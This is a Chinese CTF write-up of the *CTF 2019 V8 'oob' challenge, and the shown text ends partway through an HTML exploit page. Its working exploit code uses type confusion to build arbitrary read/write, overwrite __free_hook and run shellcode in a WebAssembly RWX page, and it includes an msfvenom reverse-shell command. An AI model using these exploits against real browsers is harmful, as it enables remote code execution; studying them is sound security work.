浏览器入门之starctf-OOB

最近的比赛里面,浏览器的题目出现的越来越多了,由于之前一直没怎么接触过这方面的题,刚好借着*ctf2019里面的oob来学习一下。主要参考的是这篇文章,文章写的真的非常详细。

编译d8

chrome里面的JavaScript解释器称为v8,我们做的pwn题主要是在这个v8上面进行操作。所以,第一步就是要把环境搭建起来。这里只是简要的说一下怎么把环境搭建起来。

首先要知道,我们下载的源码称为v8,而v8经过编译之后得到的可执行文件为d8。根据编译时选择的不同,编译出来的d8分为debug版本和release版本,一般把这两个版本都编译出来。

下载源码的方式这里就不详说了,我采用的是远程下载并打包-->搭建web服务器-->通过ipv6访问并下载

一般题目都会给出有漏洞的版本的commitid,所以编译之前先把源码的版本reset到和题目一致的版本,在把题目给出的diff文件应用到源码中

1
2
3
4
5
6
7
8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

通过上面的方式编译出来的debug版本的d8在执行oob的时候会出现问题,报错信息如下:

后来了解到是DCHECK宏的问题,然而对宏修改或是注释之后发现编译出来的d8执行还是会出现问题(这个时候已经开始怀疑人生了)。后来仔细的观察了一下师傅们写的文章,发现里面调试oob的时候都是用的release版本,之前也试过release版本的d8确实不会出现问题,所以很可能debug版本的d8就是不行,而别人文章里面出现的debug版本的d8的目的就是为了了解v8的数据是怎么存储的。所以这里正确的用法应该是用release版本进行调试,用debug版本来辅助分析。

需要了解的知识

调试的时候可以在js文件里面使用%DebugPrint();以及%SystemBreak();其中%SystemBreak();的作用是在调试的时候会断在这条语句这里,%DebugPrint();则是用来打印对象的相关信息,在debug版本下会输出很详细的信息。


在源码的tools目录下,提供了一个调试v8专用的gdbinit,可以修改~/.gdbinit文件中的内容,添加一句source /path/to/gdbinit,这样就能使用job等命令查看v8的数据结构了。不过需要注意的是job这样的命令只能在debug版本下才可以正常使用(所以debug版本主要是用来辅助分析的)


gdb调试d8时采用的命令如下:

1
2
gdb ./d8
set args --allow-natives-syntax ./exp.js


在使用gdb调试d8时,最好先cd到d8所在的目录下,然后在开始调试,不然会出现如下的问题:


对于v8对象的数据结构,debug版本的d8配合gdb调试,可以输出对象的详细信息,例如将下列js文件作为d8的输入

1
2
3
var a = [1,2,3,1.1];
%DebugPrint(a);
%SystemBreak();

可以看到输出了关于对象a的详细信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
DebugPrint: 0x734a8a4de51: [JSArray]
- map: 0x1bbb09ac2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3f3c7de91111 <JSArray[0]>
- elements: 0x0734a8a4de21 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x2e28bde00c71 <FixedArray[0]> {
#length: 0x16fe911401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0734a8a4de21 <FixedDoubleArray[4]> {
0: 1
1: 2
2: 3
3: 1.1
}
0x1bbb09ac2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1bbb09ac2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x16fe91140609 <Cell value= 1>
- instance descriptors #1: 0x3f3c7de91ef9 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3f3c7de91e69 <TransitionArray[4]>Transition array #1:
0x2e28bde04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1bbb09ac2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3f3c7de91111 <JSArray[0]>
- constructor: 0x3f3c7de90ec1 <JSFunction Array (sfi = 0x16fe9114aca1)>
- dependent code: 0x2e28bde002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

从上面输出的信息可以看到很多值的最低bit位都是1,其实v8中,如果一个值表示的是指针,那么会将该值的最低bit设置为1,但其实真实的值需要减去1。(如:0x0734a8a4de21–>0x0734a8a4de20)
数组对象的元素用elements属性来表示,这里该属性的值为0x0734a8a4de21,可以发现与数组对象的地址0x734a8a4de51是隔得很近的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> job 0x0734a8a4de21
0x734a8a4de21: [FixedDoubleArray]
- map: 0x2e28bde014f9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 1.1
pwndbg> telescope 0x0734a8a4de20
00:0000│ 0x734a8a4de20 —▸ 0x2e28bde014f9 ◂— 0x2e28bde001
01:0008│ 0x734a8a4de28 ◂— 0x400000000
02:0010│ 0x734a8a4de30 ◂— 0x3ff0000000000000
03:0018│ 0x734a8a4de38 ◂— 0x4000000000000000
04:0020│ 0x734a8a4de40 ◂— 0x4008000000000000
05:0028│ 0x734a8a4de48 ◂— 0x3ff199999999999a
06:0030│ 0x734a8a4de50 —▸ 0x1bbb09ac2ed9 ◂— 0x400002e28bde001
07:0038│ 0x734a8a4de58 —▸ 0x2e28bde00c71 ◂— 0x2e28bde008
pwndbg> p {double } 0x734a8a4de30
$2 = 1
pwndbg> p {double } 0x734a8a4de38
$3 = 2
pwndbg> p {double } 0x734a8a4de40
$4 = 3
pwndbg> p {double } 0x734a8a4de48
$5 = 1.1000000000000001
pwndbg> p {double } 0x734a8a4de50
$6 = 1.5064128296605144e-310

所以如果是越界读的话,那么应该读取的就是最后一个元素所在位置的下一个8字节,而这里刚好就是数组对象的起始地址处,存放的是对象的map属性。

漏洞分析

环境搭起来之后就可以开始分析了,题目给出了diff文件,所以对diff文件分析就可以了。从文件中可以看到这题是人为的造了一个漏洞,可以对数组进行越界读写。可以编写如下的js文件在release版本的d8下进行测试:

1
2
3
4
5
6
7
8
var a = [1,2,3,1.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

从输出可以看到越界读确实读取到了对象的map属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x0040c784de49 <JSArray[4]>
pwndbg> c
Continuing.
[*] oob return data:1.1745463519279e-310

pwndbg> telescope 0x40c784de18
00:0000│ 0x40c784de18 —▸ 0x134eb6d014f9 ◂— 0x134eb6d001
01:0008│ 0x40c784de20 ◂— 0x400000000
02:0010│ 0x40c784de28 ◂— 0x3ff0000000000000
03:0018│ 0x40c784de30 ◂— 0x4000000000000000
04:0020│ 0x40c784de38 ◂— 0x4008000000000000
05:0028│ 0x40c784de40 ◂— 0x3ff199999999999a
06:0030│ 0x40c784de48 —▸ 0x159f1a282ed9 ◂— 0x40000134eb6d001
07:0038│ 0x40c784de50 —▸ 0x134eb6d00c71 ◂— 0x134eb6d008
pwndbg> p {double} 0x40c784de48
$1 = 1.1745463519279078e-310

通过越界写,确实把对象的map属性给覆盖了:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> telescope 0x40c784de18
00:0000│ 0x40c784de18 —▸ 0x134eb6d014f9 ◂— 0x134eb6d001
01:0008│ 0x40c784de20 ◂— 0x400000000
02:0010│ 0x40c784de28 ◂— 0x3ff0000000000000
03:0018│ 0x40c784de30 ◂— 0x4000000000000000
04:0020│ 0x40c784de38 ◂— 0x4008000000000000
05:0028│ 0x40c784de40 ◂— 0x3ff199999999999a
06:0030│ 0x40c784de48 ◂— 0x4000000000000000 <---这里被覆盖
07:0038│ 0x40c784de50 —▸ 0x134eb6d00c71 ◂— 0x134eb6d008
pwndbg> p {double} 0x40c784de48
$2 = 2

漏洞利用

通过漏洞我们可以覆盖对象的map属性,而对象又是通过该属性来确定对象的类型的,比如判断是浮点数组还是对象数组。因此利用这一点就可以造成类型混淆,类型混淆有什么用呢?当然有用!!它可以用来泄露对象的地址和把某块内存转换为对象。

实现addressOf和fakeObject

假如数组a是一个浮点数组,那么a[0]将返回第一个元素的值,就像上面列子中的0x3ff0000000000000会以浮点数的形式返回。如果数组a是一个对象数组,那么a[0]这里存放的将是指向对象具体结构地址的指针。如果把对象数组的map属性换成了浮点数组的map属性,那么访问a[0],便会把指向对象的指针以浮点数的形式返回出来,这样就可以泄露对象的地址了。
同样的道理,如果要把某块内存伪造成一个虚假的对象,只需要把该虚假对象的map属性设置一下就可以了,例如设置成浮点数组对象的map属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

// 泄露指定对象的地址
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
// type(obj)-->type(float)
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}

// 把某个地址转换为对象
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

需要注意的是我们得到的数据都是浮点数的形式,而我们需要的是其在内存中的16进制数据,所以需要浮点数和整数之间的转换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

实现任意地址读写

现在已经能够泄露出来指定对象的地址,并能把指定地址的内存转换为对象了。试想一下,如果我们能够控制某块内存的内容,同时把这块内存伪造成一个虚假的对象——这里就是浮点数组对象,那么这个数组对象的element属性是可以控制的,通过控制该属性的值不就可以做到任意地址读写了吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// read & write anywhere
// 这是一块我们可以控制的内存
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}

可控的内存从float_array_map开始到2.2结束,这块内存的地址和fake_array的地址关系通过调试发现是fake_array_addr - 0x40n + 0x10n。其实通过之前的调试也可以知道,fake_array一共有6个元素,共占0x30大小的内存,所以fake_array_addr - 0x30n就应该是可控内存的地址。

通过上面的方式任意地址写,在写0x7fxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。这里有另外一种方式来解决这个问题,DataView对象中的backing_store会指向申请的data_buf,修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

1
2
3
4
5
6
7
8
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

通过正常pwn题思路getshell

通过对漏洞的利用,我们得到了任意地址读写的能力,更进一步的是getshell。主要有两种getshell的方式,一种是我们做正常pwn题的思路,另外一种是wasm。

在之前做堆的pwn题的时候,我们控制程序的流程是什么样的?无非就是泄露libc地址,覆盖__free_hook等能够控制程序流程的地址为system函数或one_gadget的地址。在没有开启got表保护的情况下还可以直接劫持got表。

在这里也是同样的思路,由于已经具有任意地址读写的能力了,那么泄露出来libc地址然后改__free_hooksystem就可以了。关键是怎么泄露出来libc的地址呢?

这里泄露的方式也有两种,分别是稳定泄露和不稳定泄露!

不稳定泄露

任意的创建一个数组,输出数组的地址后,往前搜索内存,会发现在其前面0x8000处附近的内存中存放了程序的地址,由此可以算出来程序基址。接着任意地址读泄露libc,修改__free_hook便可getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 数组的地址: 0x00001a72862119d8
# 查看程序段的内存空间
gdb-peda$ vmmap d8
Start End Perm Name
0x00005604d2bd9000 0x00005604d2e70000 r--p /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d2e70000 0x00005604d3936000 r-xp /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d3936000 0x00005604d3976000 r--p /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d3976000 0x00005604d3980000 rw-p /home/em/Desktop/software/v8/out.gn/x64.release/d8
# 在指定范围内搜索包含程序地址的地址
gdb-peda$ find 0x5604d2 0x00001a7286201000 0x00001a7286211900
Searching for '0x5604d2' in range: 0x1a7286201000 - 0x1a7286211900
Found 16 results, display max 16 items:
mapped : 0x1a7286201033 --> 0xf80b7100005604d2
mapped : 0x1a7286201043 --> 0xf81f4900005604d2
mapped : 0x1a7286201073 --> 0xf80b7100005604d2
mapped : 0x1a7286201083 --> 0xf81f4900005604d2
mapped : 0x1a72862010c3 --> 0xf80b7100005604d2
mapped : 0x1a72862010d3 --> 0xf8080100005604d2
mapped : 0x1a72862011d3 --> 0xf80b7100005604d2
mapped : 0x1a72862011e3 --> 0xf81f4900005604d2
mapped : 0x1a728620120b --> 0xf80b7100005604d2
mapped : 0x1a728620121b --> 0xf81f4900005604d2
mapped : 0x1a7286201243 --> 0xf80b7100005604d2
mapped : 0x1a7286201253 --> 0xf81f4900005604d2
mapped : 0x1a728620127b --> 0xf80b7100005604d2
mapped : 0x1a728620128b --> 0xf81f4900005604d2
mapped : 0x1a72862012b3 --> 0xf80b7100005604d2
mapped : 0x1a72862012c3 --> 0xf81f4900005604d2

gdb-peda$ x/10xg 0x1a7286201033-3
0x1a7286201030: 0x00005604d2e7a9c0 0x00003ea297f80b71
0x1a7286201040: 0x00005604d2e7a9c0 0x00003ea297f81f49
0x1a7286201050: 0x0000000a1f95f882 0x0000324a7a29c3d1
0x1a7286201060: 0x00003ea297f80321 0x00003ea297f80b71
0x1a7286201070: 0x00005604d2e7ad20 0x00003ea297f80b71
#搜索出来的地址确实属于程序段
gdb-peda$ vmmap 0x00005604d2e7a9c0
Start End Perm Name
0x00005604d2e70000 0x00005604d3936000 r-xp /home/em/Desktop/software/v8/out.gn/x64.release/d8

所以据此可以编写泄露地址的脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
// leak libc base
var a = [1.1, 2.2, 3.3];
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
start_addr = start_addr-0x8000n;
while(1){
start_addr = start_addr-8n;
leak_d8_addr = read64(start_addr);
if(((leak_d8_addr&0x0000ff0000000fffn)==0x00005600000009c0n)||((leak_d8_addr&0x0000ff0000000fffn)==0x00005500000009c0n)){
console.log("leak process addr success: "+hex(leak_d8_addr));
break;
}
}

稳定泄露

v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。

这是参考的文章中提到的方式,但是我按照该方式在本地调的时候在那块内存处始终未找到存储了程序地址的地方(有知道的师傅可以告诉我呀~)。所以这种方式就不讨论了。

本地getshell

有了任意地址读写,泄露出来了libc地址,那么按照正常pwn题的思路,直接改__free_hook就能getshell了,但是这只是本地getshell,要获取到远程运行的chrome的shell,这种方式做起来很麻烦,因为这与平时做的pwn题有点区别,服务器给我们提供的一般是一个提交exp链接的接口,我们是不能直接与服务器进行交互的,所以这里获取到的shell并不受我们的控制,要想办法执行一段反弹shell的shellcode。

若仅仅是局限于正常pwn题的思路,那么会面临着许多的问题,最主要的是如何让shellcode所在数据段具有可执行权限,需要通过ROP的方式修改内存的属性,那么如何执行ROP呢?这里能想到两种方法:

  • 通过libc中的__environ变量泄露栈地址,然后对修改栈上的数据,把我们的ROP链写到栈上,通过大量的滑板指令来执行到我们的ROP Chain。
  • 修改__free_hook,让其跳转到setcontext函数中,该函数中有对各个寄存器的赋值操作,导致可能把rsp的值指向我们控制的内容,然后ROP。(调试后发现不可以,没办法随意free我们能控制的堆块,会在free我们想要的块之前调用多次free)

后面会有简单的方法解决这个问题,所以这里仅达到本地getshell的效果,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// %DebugPrint(float_array_map);
// %SystemBreak();
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
// type(obj)-->type(float)
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}

function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

// read & write anywhere
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
// console.log("fake obj: 0x"+hex(f2i(fake_object[0])));
// console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
// console.log("[*] fakeobj addr: 0x"+hex(addressOf(fake_object)));
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
// %SystemBreak();
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

function get_shell(){
var shell_str = new String("/bin/sh\0");
}

// leak libc base
var a = [1.1, 2.2, 3.3];
var start_addr = addressOf(a);
console.log("start_addr: 0x"+hex(start_addr));
//%SystemBreak();
var leak_d8_addr = 0n;
start_addr = start_addr-0x8000n;
while(1){
start_addr = start_addr-8n;
leak_d8_addr = read64(start_addr);
if(((leak_d8_addr&0x0000ff0000000fffn)==0x00005600000009c0n)||((leak_d8_addr&0x0000ff0000000fffn)==0x00005500000009c0n)){
console.log("leak process addr success: "+hex(leak_d8_addr));
break;
}
}
var proc_base = leak_d8_addr-0x2A19C0n;
console.log("proc base: 0x"+hex(proc_base));
var got_printf = 0xd9c3a0n;
var printf_addr = read64(proc_base+got_printf);
var printf_offset = 0x55800n;
console.log("print addr: 0x"+hex(printf_addr));
var libc_base = printf_addr-printf_offset;
console.log("libc base: 0x"+hex(libc_base));
var free_hook = libc_base+0x3c67a8n;
var system_addr = libc_base+0x45390n;

writeDataview(free_hook,system_addr);
get_shell();

运行后本地获取shell的效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ./d8 exp.js 
start_addr: 0x00000823ec3d19d8
leak process addr success: 000055cfa8b049c0
proc base: 0x000055cfa8863000
print addr: 0x00007f8041424800
libc base: 0x00007f80413cf000
[*] write to : 0x00000823ec3d18c0: 0x00007f80417957a8
sh: 1: [*]: not found
[*] write to : 0x00007f80417957a8: 0x00007f8041414390
sh: 1: h���U: not found
sh: 1: *���U: not found
sh: 1: H���U: not found
sh: 1: H�]��U: not found
sh: 1: newll_str: not found
sh: 1: yA�: not found
$ id
uid=1000(em) gid=1000(em) groups=1000(em),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(docker)
$

通过wasm方式getshell

在前面获取shell的时候遇到的问题是没有一个rwx的段来存放shellcode,导致没办法从远程反弹一个shell,那真的就没有办法解决这个问题了吗?有,就是利用wasm来帮我们解决这个问题。

什么是wasm?它就是WebAssembly,由Google, Microsoft, Mozilla,Apple等几个大公司合作开发的一个关于面向Web的通用二进制和文本格式的项目,是一种新的字节码格式,被设计为Web多编程语言目标文件格式。大概就是多种语言经过编译后得到的能在浏览器中运行的二进制文件的格式就是wasm。

wasm对我们有什么作用?在js代码中加入wasm之后,程序中会存在一个rwx的段,而且这个段的地址可以通过任意地址读写很容易的获取到。直接把shellcode放到这个段里面,跳过去执行不就可以了吗?

如何获取到wasm所在段的地址

编写一段引入wasm的js代码,在debug版本的d8中来查看wasm代码所在的地址,js代码如下

注:https://wasdk.github.io/WasmFiddle/ 可以在线生成wasm代码

1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();

获取wasm代码地址的过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
gdb-peda$ job 0x2e27f235fb81
0x2e27f235fb81: [Function] in OldSpace
- map: 0x256feb7c4379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2e27f2342109 <JSFunction (sfi = 0x36ba9a648039)>
- elements: 0x2a6510500c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2e27f235fb49 <SharedFunctionInfo 0>
- name: 0x2a6510504ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2e27f2341869 <NativeContext[246]>
- code: 0x2a0e3d602001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x2e27f235f989
- WASM function index 0
- properties: 0x2a6510500c71 <FixedArray[0]> {
#length: 0x36ba9a6404b9 <AccessorInfo> (const accessor descriptor)
#name: 0x36ba9a640449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x36ba9a640369 <AccessorInfo> (const accessor descriptor)
#caller: 0x36ba9a6403d9 <AccessorInfo> (const accessor descriptor)
}
# shared_info字段
gdb-peda$ job 0x2e27f235fb49
0x2e27f235fb49: [SharedFunctionInfo] in OldSpace
- map: 0x2a65105009e1 <Map[56]>
- name: 0x2a6510504ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x2e27f235fb21 <WasmExportedFunctionData>
- code (from data): 0x2a0e3d602001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x2a6510500c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x2a6510502a39: [FeedbackMetadata]
- map: 0x2a6510501319 <Map>
- slot_count: 0
# data字段
gdb-peda$ job 0x2e27f235fb21
0x2e27f235fb21: [WasmExportedFunctionData] in OldSpace
- map: 0x2a6510505879 <Map[40]>
- wrapper_code: 0x2a0e3d602001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x2e27f235f989 <Instance map = 0x256feb7c9789>
- function_index: 0
# instance字段
gdb-peda$ telescope 0x2e27f235f988+0x88
0000| 0x2e27f235fa10 --> 0x3e67bf5ce000 --> 0x3e67bf5ce260ba49
0008| 0x2e27f235fa18 --> 0xd9c3664e449 --> 0x710000256feb7c91
0016| 0x2e27f235fa20 --> 0xd9c3664e6b9 --> 0x710000256feb7cad
0024| 0x2e27f235fa28 --> 0x2e27f2341869 --> 0x2a6510500f
0032| 0x2e27f235fa30 --> 0x2e27f235fab1 --> 0x710000256feb7ca1
0040| 0x2e27f235fa38 --> 0x2a65105004d1 --> 0x2a65105005
0048| 0x2e27f235fa40 --> 0x2a65105004d1 --> 0x2a65105005
0056| 0x2e27f235fa48 --> 0x2a65105004d1 --> 0x2a65105005
gdb-peda$ vmmap 0x3e67bf5ce000
Start End Perm Name
0x00003e67bf5ce000 0x00003e67bf5cf000 rwxp mapped
gdb-peda$

所以根据wasm函数对象即可获取到rwx段的基址,该部分的js代码如下:

1
2
3
4
5
6
7
var f_addr = addressOf(f);
console.log("f addr: 0x"+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_function = read64(shared_info_addr+8n)-1n;
var instance_addr = read64(wasm_exported_function+0x10n)-1n;
var rwx_page_addr = read64(instance_addr+0x88n);
console.log("rwx page addr: 0x"+hex(rwx_page_addr));

getshell

利用任意地址写,把shellcode写入rwx段,然后通过调用wasm函数来触发shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91 \xd0\x8c\x97\xff\x48\xf7\xdb\x53 \x54\x5f\x99\x52\x57\x54\x5e\xb0 \x3b\x0f\x05";
shellcode = [
0x91969dd1bb48c031n,
0x53dbf748ff978cd0n,
0xb05e545752995f54n,
0x50f3bn
];

var data_buf = new ArrayBuffer(32);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);

// trigger shellcode
f();

执行即可getshell:

1
2
3
4
5
6
7
$ ./d8 exp.js 
f addr: 0x00001cd3739a2698
rwx page addr: 0x00003a34a5445000
[*] write to : 0x000039744f351a10: 0x00003a34a5445000
$ id
uid=1000(em) gid=1000(em) groups=1000(em),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(docker)
$

远程getshell

使用msfvenom生成反弹shell的shellcode:

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=you_ip_addr LPORT=21000 -f python -o ~/Desktop/tmp/shellcode.txt

在服务器上监听21000端口,在本地运行d8,发现成功获取shell:

由于服务器上运行的是chrome程序,所以将js文件包装成html文件,然后用本地的chrome打开,发现成功反弹shell

注意:启动chrome时需要关闭沙箱 ./chrome –no-sandbox

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

<!DOCTYPE html>
<html>
<body>

<h2>Hello world!</h2>

<script>
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}


var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// %DebugPrint(float_array_map);
// %SystemBreak();


function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
// type(obj)-->type(float)
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}

function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

// read & write anywhere
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

